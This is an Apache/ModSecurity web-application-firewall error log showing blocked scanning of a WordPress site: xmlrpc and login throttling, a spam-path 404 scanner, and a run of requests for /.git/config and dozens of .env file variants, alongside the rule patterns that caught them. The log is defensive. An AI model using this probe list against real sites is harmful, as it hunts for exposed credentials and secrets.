[Fri May 22 23:02:32.959116 2026] [:error] [pid 15584:tid 15621] [client 35.192.232.83:65256] [client 35.192.232.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.192.232.83, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwCN9Z_TVLbNEx52hLTQAAAEE"]
[Fri May 22 23:04:50.580274 2026] [:error] [pid 15583:tid 15600] [client 143.198.41.15:62698] [client 143.198.41.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.41.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahBwknnaOncRcIm17YU5AgAAAAw"]
[Fri May 22 23:54:12.587487 2026] [:error] [pid 15679:tid 15688] [client 49.51.36.179:57764] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahB8JCh8tgGc38WJ-GyNRQAAAMc"]
[Sat May 23 00:26:41.076300 2026] [:error] [pid 15679:tid 15681] [client 116.240.149.7:59755] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahCDwSh8tgGc38WJ-GyZgAAAAMA"]
[Sat May 23 00:26:52.358414 2026] [:error] [pid 15585:tid 15664] [client 116.240.149.7:60206] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahCDzCKb-vB41AF-LC296wAAAJE"]
[Sat May 23 00:27:03.585809 2026] [:error] [pid 15679:tid 15688] [client 116.240.149.7:60560] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahCD1yh8tgGc38WJ-GyZkwAAAMc"]
[Sat May 23 00:27:15.872897 2026] [:error] [pid 15585:tid 15666] [client 116.240.149.7:64320] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahCD4yKb-vB41AF-LC2-CAAAAJM"]
[Sat May 23 00:27:27.137517 2026] [:error] [pid 15583:tid 15591] [client 116.240.149.7:61442] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahCD73naOncRcIm17YVY-gAAAAM"]
[Sat May 23 00:29:32.816451 2026] [:error] [pid 58813:tid 58835] [client 116.240.149.7:64080] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahCEbJ6yyKWDKULhxJ2qywAAAVM"]
[Sat May 23 00:29:40.030307 2026] [:error] [pid 15679:tid 15685] [client 116.240.149.7:61535] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahCEdCh8tgGc38WJ-GyaTAAAAMQ"]
[Sat May 23 00:29:51.353633 2026] [:error] [pid 15583:tid 15603] [client 116.240.149.7:59505] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahCEf3naOncRcIm17YVZnwAAAA8"]
[Sat May 23 00:30:00.380381 2026] [:error] [pid 15679:tid 15682] [client 116.240.149.7:61567] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahCEiCh8tgGc38WJ-GyaaAAAAME"]
[Sat May 23 00:30:10.095311 2026] [:error] [pid 58782:tid 58787] [client 116.240.149.7:64773] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahCEkoxsdTFafgO8vhRF4AAAAQM"]
[Sat May 23 00:30:20.934992 2026] [:error] [pid 15679:tid 15703] [client 116.240.149.7:60360] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ahCEnCh8tgGc38WJ-GyaegAAANY"]
[Sat May 23 00:32:05.019335 2026] [:error] [pid 15584:tid 15620] [client 116.240.149.7:64379] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ahCFBd9Z_TVLbNEx52ha2wAAAEA"]
[Sat May 23 00:32:13.668059 2026] [:error] [pid 15585:tid 15652] [client 116.240.149.7:63346] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ahCFDSKb-vB41AF-LC2_JwAAAIU"]
[Sat May 23 00:32:21.443321 2026] [:error] [pid 15583:tid 15605] [client 116.240.149.7:62858] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahCFFXnaOncRcIm17YVaewAAABE"]
[Sat May 23 00:32:29.463747 2026] [:error] [pid 15583:tid 15601] [client 116.240.149.7:63261] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahCFHXnaOncRcIm17YVanwAAAA0"]
[Sat May 23 00:32:36.760328 2026] [:error] [pid 58782:tid 58789] [client 116.240.149.7:65037] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahCFJIxsdTFafgO8vhRGcAAAAQU"]
[Sat May 23 00:32:44.391039 2026] [:error] [pid 15583:tid 15604] [client 116.240.149.7:61661] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahCFLHnaOncRcIm17YVatgAAABA"]
[Sat May 23 00:32:52.796470 2026] [:error] [pid 15583:tid 15598] [client 116.240.149.7:60563] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahCFNHnaOncRcIm17YVaxQAAAAo"]
[Sat May 23 00:34:30.085797 2026] [:error] [pid 15679:tid 15684] [client 116.240.149.7:59497] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ahCFlih8tgGc38WJ-Gyb0QAAAMM"]
[Sat May 23 00:34:39.744765 2026] [:error] [pid 15679:tid 15699] [client 116.240.149.7:60366] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahCFnyh8tgGc38WJ-Gyb6QAAANI"]
[Sat May 23 00:34:48.323090 2026] [:error] [pid 15679:tid 15699] [client 116.240.149.7:62410] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ahCFqCh8tgGc38WJ-Gyb9gAAANI"]
[Sat May 23 00:34:57.165747 2026] [:error] [pid 15585:tid 15660] [client 116.240.149.7:63201] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ahCFsSKb-vB41AF-LC2_lQAAAI0"]
[Sat May 23 00:35:05.057815 2026] [:error] [pid 15679:tid 15701] [client 116.240.149.7:61796] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ahCFuSh8tgGc38WJ-GycEQAAANQ"]
[Sat May 23 00:35:13.785165 2026] [:error] [pid 58813:tid 58831] [client 116.240.149.7:65086] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ahCFwZ6yyKWDKULhxJ2rlgAAAU8"]
[Sat May 23 00:36:49.197899 2026] [:error] [pid 15584:tid 15635] [client 116.240.149.7:59500] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahCGId9Z_TVLbNEx52hbnQAAAE8"]
[Sat May 23 00:36:56.622079 2026] [:error] [pid 15584:tid 15623] [client 116.240.149.7:64090] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahCGKN9Z_TVLbNEx52hbowAAAEM"]
[Sat May 23 00:37:03.427115 2026] [:error] [pid 15679:tid 15687] [client 116.240.149.7:60662] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahCGLyh8tgGc38WJ-GycjAAAAMY"]
[Sat May 23 00:37:10.466019 2026] [:error] [pid 15584:tid 15631] [client 116.240.149.7:61459] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahCGNt9Z_TVLbNEx52hbuQAAAEs"]
[Sat May 23 00:37:18.326540 2026] [:error] [pid 15585:tid 15663] [client 116.240.149.7:65042] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ahCGPiKb-vB41AF-LC3AJQAAAJA"]
[Sat May 23 00:37:24.894316 2026] [:error] [pid 15583:tid 15601] [client 116.240.149.7:62771] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ahCGRHnaOncRcIm17YVcnAAAAA0"]
[Sat May 23 00:40:06.750396 2026] [:error] [pid 15679:tid 15701] [client 13.48.133.49:47264] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ahCG5ih8tgGc38WJ-GydfgAAANQ"]
[Sat May 23 00:40:11.845051 2026] [:error] [pid 15679:tid 15691] [client 13.48.133.49:39802] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "ahCG6yh8tgGc38WJ-GydhgAAAMo"]
[Sat May 23 00:40:12.908788 2026] [:error] [pid 15583:tid 15600] [client 13.48.133.49:39812] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "ahCG7HnaOncRcIm17YVeJgAAAAw"]
[Sat May 23 00:40:13.991964 2026] [:error] [pid 15583:tid 15589] [client 13.48.133.49:39826] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "ahCG7XnaOncRcIm17YVeKwAAAAE"]
[Sat May 23 00:40:15.051875 2026] [:error] [pid 15679:tid 15682] [client 13.48.133.49:39834] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "ahCG7yh8tgGc38WJ-GydiAAAAME"]
[Sat May 23 00:40:16.101489 2026] [:error] [pid 15583:tid 15606] [client 13.48.133.49:39840] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "ahCG8HnaOncRcIm17YVeMgAAABI"]
[Sat May 23 00:40:17.163055 2026] [:error] [pid 15679:tid 15699] [client 13.48.133.49:36756] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "ahCG8Sh8tgGc38WJ-GydjAAAANI"]
[Sat May 23 00:40:18.220008 2026] [:error] [pid 15584:tid 15626] [client 13.48.133.49:36772] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "ahCG8t9Z_TVLbNEx52hcZQAAAEY"]
[Sat May 23 00:40:19.266301 2026] [:error] [pid 15583:tid 15605] [client 13.48.133.49:36774] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "ahCG83naOncRcIm17YVeOAAAABE"]
[Sat May 23 00:40:20.313012 2026] [:error] [pid 15583:tid 15593] [client 13.48.133.49:36778] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "ahCG9HnaOncRcIm17YVeOgAAAAU"]
[Sat May 23 00:40:21.374050 2026] [:error] [pid 15679:tid 15705] [client 13.48.133.49:36794] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "ahCG9Sh8tgGc38WJ-GydkwAAANg"]
[Sat May 23 00:40:22.419899 2026] [:error] [pid 15679:tid 15693] [client 13.48.133.49:36800] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "ahCG9ih8tgGc38WJ-GydlgAAAMw"]
[Sat May 23 00:40:23.469169 2026] [:error] [pid 15679:tid 15685] [client 13.48.133.49:36808] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "ahCG9yh8tgGc38WJ-GydmAAAAMQ"]
[Sat May 23 00:40:24.513813 2026] [:error] [pid 15583:tid 15606] [client 13.48.133.49:36814] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "ahCG-HnaOncRcIm17YVeQQAAABI"]
[Sat May 23 00:40:25.573347 2026] [:error] [pid 58782:tid 58792] [client 13.48.133.49:36822] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "ahCG-YxsdTFafgO8vhRHowAAAQg"]
[Sat May 23 00:40:26.618900 2026] [:error] [pid 15584:tid 15620] [client 13.48.133.49:36838] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "ahCG-t9Z_TVLbNEx52hcbwAAAEA"]
[Sat May 23 00:40:27.678072 2026] [:error] [pid 15583:tid 15597] [client 13.48.133.49:41554] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.stage"] [unique_id "ahCG-3naOncRcIm17YVeVAAAAAk"]
[Sat May 23 00:40:28.745578 2026] [:error] [pid 15583:tid 15589] [client 13.48.133.49:41562] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.ci"] [unique_id "ahCG_HnaOncRcIm17YVeVgAAAAE"]
[Sat May 23 00:40:29.797177 2026] [:error] [pid 15583:tid 15598] [client 13.48.133.49:41568] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "ahCG_XnaOncRcIm17YVeWQAAAAo"]
[Sat May 23 00:40:30.846266 2026] [:error] [pid 15584:tid 15632] [client 13.48.133.49:41580] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.live"] [unique_id "ahCG_t9Z_TVLbNEx52hccAAAAEw"]
[Sat May 23 00:40:31.901115 2026] [:error] [pid 15584:tid 15635] [client 13.48.133.49:41588] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.preprod"] [unique_id "ahCG_99Z_TVLbNEx52hccgAAAE8"]
[Sat May 23 00:40:32.957847 2026] [:error] [pid 15583:tid 15605] [client 13.48.133.49:41602] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.uat"] [unique_id "ahCHAHnaOncRcIm17YVeYgAAABE"]
[Sat May 23 00:40:34.017845 2026] [:error] [pid 15585:tid 15661] [client 13.48.133.49:41606] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "ahCHAiKb-vB41AF-LC3A8wAAAI4"]
